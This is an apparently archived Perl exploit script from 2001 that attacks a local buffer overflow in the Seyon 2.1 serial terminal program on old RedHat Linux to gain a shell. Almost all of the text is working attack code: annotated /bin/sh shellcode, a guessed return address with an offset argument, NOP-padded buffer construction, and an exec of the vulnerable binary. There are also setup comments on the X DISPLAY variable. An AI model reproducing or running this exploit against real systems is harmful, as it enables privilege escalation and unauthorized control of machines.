Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow

#!/usr/bin/perl

## (c) Copyright [email protected] / anno domani 2000
##
## Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
## Tested on: RedHat 4.0/5.1
##
## Greets: scrippie, *@HWA, grazer, mixter, pr0ix, s\
## http://www.digit-labs.org/ || http://teleh0r.cjb.net/


$shellcode =
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */


$ret = 0xbfffef96;
$egg = 500;
$len = 208;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

if (!($ENV{'DISPLAY'})) {
    die("Error: the shell variable DISPLAY is not set.\n");
}

$buffer .= $nop;
$new_ret = pack('l',($ret + $offset));

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
sleep(1);

for ($i = 0; $i < $len; $i += 4) {
    $buffer .= pack('l',($ret + $offset));
}

for ($i = 0; $i < ($egg - length($shellcode)); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode; 

# seyon uses X, so if there is no X server running, or you
# are not allowed to connect to it, start X on your machine, 
# and using xhost, allow the target to connect to your server, 
# then: export DISPLAY=your-ip:0.0 - and execute the exploit. 

exec("/usr/X11R6/bin/seyon -noemulator \"$buffer\"");


# milw0rm.com [2001-01-15]